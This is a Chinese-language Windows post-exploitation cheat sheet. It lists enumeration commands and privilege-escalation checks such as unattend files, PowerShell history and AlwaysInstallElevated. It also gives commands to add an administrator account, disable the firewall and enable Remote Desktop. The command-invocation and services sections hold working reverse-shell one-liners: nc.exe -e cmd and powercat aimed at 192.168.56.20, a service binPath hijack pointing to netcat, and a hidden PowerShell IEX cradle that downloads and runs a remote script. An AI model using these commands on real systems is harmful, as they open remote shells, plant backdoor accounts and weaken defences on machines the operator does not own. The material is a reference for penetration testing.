windows-手工命令
天下无粹白之狐,而有粹白之裘,取之众白也。
导航
- 基本命令
- 用户/组
- 系统
- 文件/目录
- 注册表
- 命令调用
- 杂项
- 自动工具
基本命令
cd /d D:\tmp //直接跳转到 D 盘 的 tmp 目录。
dir /s /q //递归目录并显示文件所属人。
shutdown /r //重启电脑。【/l 注销 /s 关机】
copy/del/move/ren //有关文件的 拷贝/删除/移动/重命名
where java.exe //在 %PATH% 中的文件夹中寻找 java.exe 程序。
findstr "str1 str2" test.txt //寻找匹配 str1 或 str2 的行。
findstr /c "str1 str2" test.txt //寻找匹配 "str1 str2" 的行。
//注:findstr 的参数 /i、/n、/v、/m、/b 可忽略大小写、显示行号、反向匹配、显示匹配的行的文件名、从头开始搜索,这配合 /c 在多个搜索条件下似乎有用。
set/path //查看环境变量和 PATH 变量的值。
icacls .\ //查看当前目录的权限属性
chcp 437 //切换 cmd 为英文语言,解决 cmd 乱码问题。再通过 chcp 936 可切换回中文语言。
用户/组
whoami /priv //当前用户特权查询
whoami /groups //当前用户所束组查询
net user //用户查询
net user admin //指定用户详情查询
net localgroup administrators //管理员组成员查询
net user admin pass123 /add //添加用户
net user admin pass456 //密码修改
net localgroup administrators admin /add //添加用户到管理员组
net localgroup "Remote Desktop Users" admin /add //添加用户到远程桌面组
cmdkey /list //存储凭据查询
系统
systeminfo //系统信息查询、补丁漏洞在线识别 https://www.shentoushi.top/av/kb.php
wmic qfe get Caption,Description,HotFixID,InstalledOn //补丁安装日期查询
wmic logicaldisk get caption,description,providername //磁盘查询
wmic product get name,version | findstr /i /v "Microsoft" //安装软件查询
tasklist /svc //进程查询、杀毒识别在线网站 https://www.shentoushi.top/av/av.php
netsh firewall show state //win7 防火墙状态查询
netsh firewall show config //win7 防火墙规则查询
netsh advfirewall show allprofiles //win10 防火墙状态查询
netsh advfirewall firewall show rule name=all //win10 防火墙规则查询
netsh advfirewall set allprofiles state off //win10 关闭防火墙
服务
netstat -nao //网络进程查询
sc query //查询所有服务
sc qc 'dhcp' //查询 dhcp 服务的详细配置
sc config testsrv binPath= "C:\temp\nc.exe 172.16.1.30 443 -e C:\windows\system32\cmd.exe" //修改服务的启动程序
sc config testsrv depend= "" //删除服务启动的依赖服务
sc config testsrv obj= ".\LocalSystem" password= "" //设置启动服务的运行身份
进程
tasklist /svc //进程查询、杀毒识别在线网站 https://www.shentoushi.top/av/av.php
tasklist /v /fi "PID eq 1111" //查询所有进程,以详细的方式输出进程详情。
taskkill /f /fi "IMAGENAME eq powershell.exe" //强制删除所有 powershell 进程。
文件/目录
//无人值守文件常见路径,如下:
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.xml
C:\Windows\system32\sysprep\sysprep.xml
cd /d c:\users\ //更改目录
dir /a /r c:\ //查询 C 盘根目录下的隐藏文件和备用数据流
dir /s /b c:\users\ | findstr .*\..* //递归遍历家目录,并列出 *.* 这样的文件。
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt //查询 PowerShell 历史命令
cat (Get-PSReadlineOption).HistorySavePath //同上效果的 cmdlet 命令
dir C:\inetpub\wwwroot //IIS Web 根目录,尤其关注 web.config、connectionstrings.config、*.config 这样的配置文件。
Get-Childitem -Recurse C:\inetpub | findstr -i "directory config txt aspx ps1 bat xml pass user" //递归查询的 cmdlet 命令
注册表
reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f //开启远程桌面
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated //查询 msi 程序特权安装
命令调用
start "" ".\nc.exe" -e cmd 192.168.56.20 445 //在非交互式 cmd 会话后台启动一个进程
cmd.exe /c "whoami" //执行 cmd 格式的命令。
powershell.exe -ep bypass ".\shell.ps1" //执行 powershell 格式的脚本
注:powershell.exe 的 -noni 参数的功能是不显示交互式的提示, 以非交互式模式启动会话。
Start-Process -FilePath ".\nc.exe" -ArgumentList "-e cmd", "192.168.56.20","443" -NoNewWindow //在非交互式 powershell 会话后台启动一个进程
powershell.exe -nop -noni -ep bypass -c "Get-Location" //本地加载
powershell.exe -nop -ep bypass -c ". .\nc.ps1;powercat -c 192.168.56.20 -p 4444 -e cmd" //本地加载
powershell.exe -nop -noni -ep bypass -file ".\nc.ps1"
powershell -nop -noni -w hidden -c "IEX(New-Object et.WebClient).DownloadString('http://192.168.56.20/nc.ps1');powercat -c 192.168.56.20 -p 4444 -e cmd" //远程加载
powershell -nop -noni -ep bypass -c "IEX (Get-Content '\\192.168.56.20\share\nc.ps1' -Raw);powercat -c 192.168.56.20 -p 4444 -e cmd" //远程加载
注意:有时候直接使用 powershell.exe 可能并不能够调起 powershell 进程,此时可能需要使用 powershell 的绝对路径来执行 ps 脚本了。【查询命令:
where powershell】
杂项
C:/windows/system32/drivers/etc/hosts
C:/Users/Public/desktop.ini
自动工具
- PowerUp
- WinPEAS
- Watson (win10+)
- Windows Exploit Suggester (win7-)